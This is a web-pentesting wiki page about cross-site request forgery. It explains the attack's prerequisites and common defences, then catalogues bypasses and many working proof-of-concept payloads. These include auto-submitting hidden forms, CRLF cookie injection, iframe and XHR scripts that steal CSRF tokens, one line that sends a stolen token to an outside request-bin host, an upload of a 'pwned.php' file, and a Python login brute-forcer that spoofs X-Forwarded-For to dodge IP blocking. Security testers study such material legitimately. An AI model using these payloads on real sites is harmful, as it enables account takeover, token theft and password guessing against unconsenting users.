#@ck3r
  • Welcome
  • Administrator
    • ActiveDirectory
      • Methodology
    • LDAP
    • Kerberos
  • HTB_CTF
    • It's Oops PM
  • 🕸️ Pentesting Web
    • Web Vulnerabilities Methodology
      • Reflecting Techniques - PoCs and Polygloths CheatSheet
        • Web Vulns List
    • 2FA/MFA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning via URL discrepancies
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
    • Cookies Hacking
      • Cookie Tossing
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
  • Dangling Markup - HTML scriptless injection
  • Dependency Confusion
  • Deserialization
    • NodeJS - __proto__ & prototype Pollution
      • Client Side Prototype Pollution
      • Express Prototype Pollution Gadgets
      • Prototype Pollution to RCE
    • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
    • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
    • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
    • Exploiting __VIEWSTATE without knowing the secrets
    • Python Yaml Deserialization
    • JNDI - Java Naming and Directory Interface & Log4Shell
    • Ruby Class Pollution
  • Page 1
Powered by GitBook
On this page
  • Cross-Site Request Forgery (CSRF) Explained
  • Defences Bypass
  • Exploit Examples
  • CSRF Login Brute Force
  • Tools
  • References
  1. 🕸️ Pentesting Web

CSRF (Cross Site Request Forgery)

PreviousCRLF (%0D%0A) InjectionNextDangling Markup - HTML scriptless injection

Last updated 3 months ago

Reading time: 17 minutes

Cross-Site Request Forgery (CSRF) is a type of security vulnerability found in web applications. It enables attackers to perform actions on behalf of unsuspecting users by exploiting their authenticated sessions. The attack is executed when a user, who is logged into a victim's platform, visits a malicious site. This site then triggers requests to the victim's account through methods like executing JavaScript, submitting forms, or fetching images.

To exploit a CSRF vulnerability, several conditions must be met:

  1. Identify a Valuable Action: The attacker needs to find an action worth exploiting, such as changing the user's password, email, or elevating privileges.

  2. Session Management: The user's session should be managed solely through cookies or the HTTP Basic Authentication header, as other headers cannot be manipulated for this purpose.

  3. Absence of Unpredictable Parameters: The request should not contain unpredictable parameters, as they can prevent the attack.

You could capture the request in Burp and check CSRF protections and to test from the bowser you can click on Copy as fetch and check the request:

Several countermeasures can be implemented to protect against CSRF attacks:

  • User Verification: Prompting for the user's password or solving a captcha can confirm the user's intent.

  • Checking Referrer or Origin Headers: Validating these headers can help ensure requests are coming from trusted sources. However, careful crafting of URLs can bypass poorly implemented checks, such as:

    • Using http://mal.net?orig=http://example.com (URL ends with the trusted URL)

    • Using http://example.com.mal.net (URL starts with the trusted URL)

  • Modifying Parameter Names: Altering the names of parameters in POST or GET requests can help in preventing automated attacks.

  • CSRF Tokens: Incorporating a unique CSRF token in each session and requiring this token in subsequent requests can significantly mitigate the risk of CSRF. The effectiveness of the token can be enhanced by enforcing CORS.

Understanding and implementing these defenses is crucial for maintaining the security and integrity of web applications.

Maybe the form you want to abuse is prepared to send a POST request with a CSRF token but, you should check if a GET is also valid and if when you send a GET request the CSRF token is still being validated.

Applications might implement a mechanism to validate tokens when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by removing the parameter that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.

Applications not tying CSRF tokens to user sessions present a significant security risk. These systems verify tokens against a global pool rather than ensuring each token is bound to the initiating session.

Here's how attackers exploit this:

  1. Authenticate using their own account.

  2. Obtain a valid CSRF token from the global pool.

  3. Use this token in a CSRF attack against a victim.

This vulnerability allows attackers to make unauthorized requests on behalf of the victim, exploiting the application's inadequate token validation mechanism.

If the request is using a "weird" method, check if the method override functionality is working. For example, if it's using a PUT method you can try to use a POST method and send: https://example.com/my/dear/api/val/num?_method=PUT

This could also works sending the _method parameter inside the a POST request or using the headers:

  • X-HTTP-Method

  • X-HTTP-Method-Override

  • X-Method-Override

If the request is adding a custom header with a token to the request as CSRF protection method, then:

  • Test the request without the Customized Token and also header.

  • Test the request with exact same length but different token.

Applications may implement CSRF protection by duplicating the token in both a cookie and a request parameter or by setting a CSRF cookie and verifying if the token sent in the backend corresponds to the cookie. The application validates requests by checking if the token in the request parameter aligns with the value in the cookie.

However, this method is vulnerable to CSRF attacks if the website has flaws allowing an attacker to set a CSRF cookie in the victim's browser, such as a CRLF vulnerability. The attacker can exploit this by loading a deceptive image that sets the cookie, followed by initiating the CSRF attack.

Below is an example of how an attack could be structured:

html

<html>
  <!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
  <body>
    <script>
      history.pushState("", "", "/")
    </script>
    <form action="https://example.com/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
      <input
        type="hidden"
        name="csrf"
        value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
      <input type="submit" value="Submit request" />
    </form>
    <img
      src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
      onerror="document.forms[0].submit();" />
  </body>
</html>

Note that if the csrf token is related with the session cookie this attack won't work because you will need to set the victim your session, and therefore you will be attacking yourself.

  • application/x-www-form-urlencoded

  • multipart/form-data

  • text/plain

However, note that the severs logic may vary depending on the Content-Type used so you should try the values mentioned and others like application/json,text/xml, application/xml.

html

<html>
  <body>
    <form
      id="form"
      method="post"
      action="https://phpme.be.ax/"
      enctype="text/plain">
      <input
        name='{"garbageeeee":"'
        value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
    </form>
    <script>
      form.submit()
    </script>
  </body>
</html>

When attempting to send JSON data via a POST request, using the Content-Type: application/json in an HTML form is not directly possible. Similarly, utilizing XMLHttpRequest to send this content type initiates a preflight request. Nonetheless, there are strategies to potentially bypass this limitation and check if the server processes the JSON data irrespective of the Content-Type:

  1. Use Alternative Content Types: Employ Content-Type: text/plain or Content-Type: application/x-www-form-urlencoded by setting enctype="text/plain" in the form. This approach tests if the backend utilizes the data regardless of the Content-Type.

  2. Modify Content Type: To avoid a preflight request while ensuring the server recognizes the content as JSON, you can send the data with Content-Type: text/plain; application/json. This doesn't trigger a preflight request but might be processed correctly by the server if it's configured to accept application/json.

Avoid Referrer header

Applications may validate the 'Referer' header only when it's present. To prevent a browser from sending this header, the following HTML meta tag can be used:

xml

<meta name="referrer" content="never">

This ensures the 'Referer' header is omitted, potentially bypassing validation checks in some applications.

Regexp bypasses

To set the domain name of the server in the URL that the Referrer is going to send inside the parameters you can do:

html

<html>
  <!-- Referrer policy needed to send the qury parameter in the referrer -->
  <head>
    <meta name="referrer" content="unsafe-url" />
  </head>
  <body>
    <script>
      history.pushState("", "", "/")
    </script>
    <form
      action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
      method="POST">
      <input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      // You need to set this or the domain won't appear in the query of the referer header
      history.pushState(
        "",
        "",
        "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
      )
      document.forms[0].submit()
    </script>
  </body>
</html>

Therefore, if a GET request is being limited, you could just send a HEAD request that will be processed as a GET request.

xml

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Other HTML5 tags that can be used to automatically send a GET request are:

html

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
  <video src="...">
    <source src="..." type="..." />
    <video poster="...">
      <link rel="stylesheet" href="..." />
      <object data="...">
        <body background="...">
          <div style="background: url('...');"></div>
          <style>
            body {
              background: url("...");
            }
          </style>
          <bgsound src="...">
            <track src="..." kind="subtitles" />
            <input type="image" src="..." alt="Submit Button"
          /></bgsound>
        </body>
      </object>
    </video>
  </video>
</audio>

html

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>
      history.pushState("", "", "/")
    </script>
    <form method="GET" action="https://victim.net/email/change-email">
      <input type="hidden" name="email" value="some@email.com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit()
    </script>
  </body>
</html>

html

<html>
  <body>
    <script>
      history.pushState("", "", "/")
    </script>
    <form
      method="POST"
      action="https://victim.net/email/change-email"
      id="csrfform">
      <input
        type="hidden"
        name="email"
        value="some@email.com"
        autofocus
        onfocus="csrfform.submit();" />
      <!-- Way 1 to autosubmit -->
      <input type="submit" value="Submit request" />
      <img src="x" onerror="csrfform.submit();" />
      <!-- Way 2 to autosubmit -->
    </form>
    <script>
      document.forms[0].submit() //Way 3 to autosubmit
    </script>
  </body>
</html>

html

<!-- 
The request is sent through the iframe withuot reloading the page 
-->
<html>
  <body>
    <iframe style="display:none" name="csrfframe"></iframe>
    <form method="POST" action="/change-email" id="csrfform" target="csrfframe">
      <input
        type="hidden"
        name="email"
        value="some@email.com"
        autofocus
        onfocus="csrfform.submit();" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit()
    </script>
  </body>
</html>

html

<script>
  var xh
  if (window.XMLHttpRequest) {
    // code for IE7+, Firefox, Chrome, Opera, Safari
    xh = new XMLHttpRequest()
  } else {
    // code for IE6, IE5
    xh = new ActiveXObject("Microsoft.XMLHTTP")
  }
  xh.withCredentials = true
  xh.open(
    "POST",
    "http://challenge01.root-me.org/web-client/ch22/?action=profile"
  )
  xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
  xh.send("username=abcd&status=on")
</script>

<script>
  //JQuery version
  $.ajax({
    type: "POST",
    url: "https://google.com",
    data: "param=value&param2=value2",
  })
</script>

javascript

myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
  method: "post",
  body: myFormData,
  credentials: "include",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  mode: "no-cors",
})

javascript

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
  boundary = "OWNEDBYOFFSEC",
  xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
  "Content-Type",
  "multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
  'Content-Disposition: form-data; name="' +
  nameVar +
  '"; filename="' +
  fileName +
  '"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

html

<--! expl.html -->

<body onload="envia()">
  <form
    method="POST"
    id="formulario"
    action="http://aplicacion.example.com/cambia_pwd.php">
    <input type="text" id="pwd" name="pwd" value="otra nueva" />
  </form>
  <body>
    <script>
      function envia() {
        document.getElementById("formulario").submit()
      }
    </script>

    <!-- public.html -->
    <iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
    <h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
  </body>
</body>

javascript

function submitFormWithTokenJS(token) {
  var xhr = new XMLHttpRequest()
  xhr.open("POST", POST_URL, true)
  xhr.withCredentials = true

  // Send the proper header information along with the request
  xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

  // This is for debugging and can be removed
  xhr.onreadystatechange = function () {
    if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
      //console.log(xhr.responseText);
    }
  }

  xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
  var xhr = new XMLHttpRequest()
  // This tels it to return it as a HTML document
  xhr.responseType = "document"
  xhr.withCredentials = true
  // true on the end of here makes the call asynchronous
  xhr.open("GET", GET_URL, true)
  xhr.onload = function (e) {
    if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
      // Get the document from the response
      page = xhr.response
      // Get the input element
      input = page.getElementById("token")
      // Show the token
      //console.log("The token is: " + input.value);
      // Use the token to submit the form
      submitFormWithTokenJS(input.value)
    }
  }
  // Make the request
  xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

html

<form
  id="form1"
  action="http://google.com?param=VALUE"
  method="post"
  enctype="multipart/form-data">
  <input type="text" name="username" value="AA" />
  <input type="checkbox" name="status" checked="checked" />
  <input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
  function f1() {
    x1 = document.getElementById("i1")
    x1d = x1.contentWindow || x1.contentDocument
    t = x1d.document.getElementById("token").value

    document.getElementById("token").value = t
    document.getElementById("form1").submit()
  }
</script>
<iframe
  id="i1"
  style="display:none"
  src="http://google.com?param=VALUE"
  onload="javascript:f1();"></iframe>

html

<iframe
  id="iframe"
  src="http://google.com?param=VALUE"
  width="500"
  height="500"
  onload="read()"></iframe>

<script>
  function read() {
    var name = "admin2"
    var token =
      document.getElementById("iframe").contentDocument.forms[0].token.value
    document.writeln(
      '<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
    )
    document.writeln(
      '<input id="username" type="text" name="username" value="' +
        name +
        '" /><br />'
    )
    document.writeln(
      '<input id="token" type="hidden" name="token" value="' + token + '" />'
    )
    document.writeln(
      '<input type="submit" name="submit" value="Submit" /><br/>'
    )
    document.writeln("</form>")
    document.forms[0].submit.click()
  }
</script>

html

<script>
var token;
function readframe1(){
  token = frame1.document.getElementById("profile").token.value;
  document.getElementById("bypass").token.value = token
  loadframe2();
}
function loadframe2(){
  var test = document.getElementbyId("frame2");
  test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
  <input type="text" name="username" value="z">
  <input type="checkbox" name="status" checked="">
  <input id="token" type="hidden" name="token" value="0000" />
  <button type="submit">Submit</button>
</form>

html

<body onload="getData()">
  <form
    id="form"
    action="http://google.com?param=VALUE"
    method="POST"
    enctype="multipart/form-data">
    <input type="hidden" name="username" value="root" />
    <input type="hidden" name="status" value="on" />
    <input type="hidden" id="findtoken" name="token" value="" />
    <input type="submit" value="valider" />
  </form>

  <script>
    var x = new XMLHttpRequest()
    function getData() {
      x.withCredentials = true
      x.open("GET", "http://google.com?param=VALUE", true)
      x.send(null)
    }
    x.onreadystatechange = function () {
      if (x.readyState == XMLHttpRequest.DONE) {
        var token = x.responseText.match(/name="token" value="(.+)"/)[1]
        document.getElementById("findtoken").value = token
        document.getElementById("form").submit()
      }
    }
  </script>
</body>

html

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
  let socket = io("http://six.jh2i.com:50022/test")

  const username = "admin"

  socket.on("connect", () => {
    console.log("connected!")
    socket.emit("join", {
      room: username,
    })
    socket.emit("my_room_event", {
      data: "!flag",
      room: username,
    })
  })
</script>

The code can be used to Brut Force a login form using a CSRF token (It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting):

python

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
    #Return CSRF + Session (cookie)
    r = requests.get(URL)
    csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
    csrf = csrf.group(1)
    session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
    return csrf, session_cookie

def login(user, password):
    print(f"{user}:{password}")
    csrf, cookie = init_session()
    cookies = {SESSION_COOKIE_NAME: cookie}
    data = {
        "tokenCSRF": csrf,
        "username": user,
        "password": password,
        "save": ""
    }
    headers = {
        "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
    }
    r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
    if "Username or password incorrect" in r.text:
        return False
    else:
        print(f"FOUND {user} : {password}")
        return True

with open(PASS_LIST, "r") as f:
    for line in f:
        login(USER, line.strip())

: This attribute prevents the browser from sending cookies along with cross-site requests. .

: The CORS policy of the victim site can influence the feasibility of the attack, especially if the attack requires reading the response from the victim site. .

According to , in order to avoid preflight requests using POST method these are the allowed Content-Type values:

Example (from ) of sending JSON data as text/plain:

SWF Flash File Utilization: A less common but feasible method involves using an SWF flash file to bypass such restrictions. For an in-depth understanding of this technique, refer to .

The first part of is explained that , a router is set to handle HEAD requests as GET requests with no response body - a common workaround that isn't unique to Oak. Instead of a specific handler that deals with HEAD reqs, they're simply given to the GET handler but the app just removes the response body.

If a CSRF token is being used as defence you could try to exfiltrate it abusing a vulnerability or a vulnerability.

Defending Against CSRF
SameSite cookies
More about SameSite cookies
Cross-origin resource sharing
Learn about CORS bypass
Defences Bypass
From POST to GET
Lack of token
CSRF token is not tied to the user session
Method bypass
Custom header token bypass
CSRF token is verified by a cookie
Content-Type change
this
here
Bypassing Preflight Requests for JSON Data
this post
Referrer / Origin check bypass
URL Format Bypass
HEAD method bypass
this CTF writeup
Oak's source code
Exploit Examples
Exfiltrating CSRF Token
XSS
Dangling Markup
GET using HTML tags
Form GET request
Form POST request
Form POST request through iframe
Ajax POST request
multipart/form-data POST request
multipart/form-data POST request v2
Form POST request from within an iframe
Steal CSRF Token and send a POST request
Steal CSRF Token and send a Post request using an iframe, a form and Ajax
Steal CSRF Token and sen a POST request using an iframe and a form
Steal token and send it using 2 iframes
POSTSteal CSRF token with Ajax and send a post with a form
CSRF with Socket.IO
CSRF Login Brute Force
Tools
https://github.com/0xInfection/XSRFProbe
https://github.com/merttasci/csrf-poc-generator
References
https://portswigger.net/web-security/csrf
https://portswigger.net/web-security/csrf/bypassing-token-validation
https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
Cross-Site Request Forgery (CSRF) Explained
Prerequisites for a CSRF Attack
Quick Check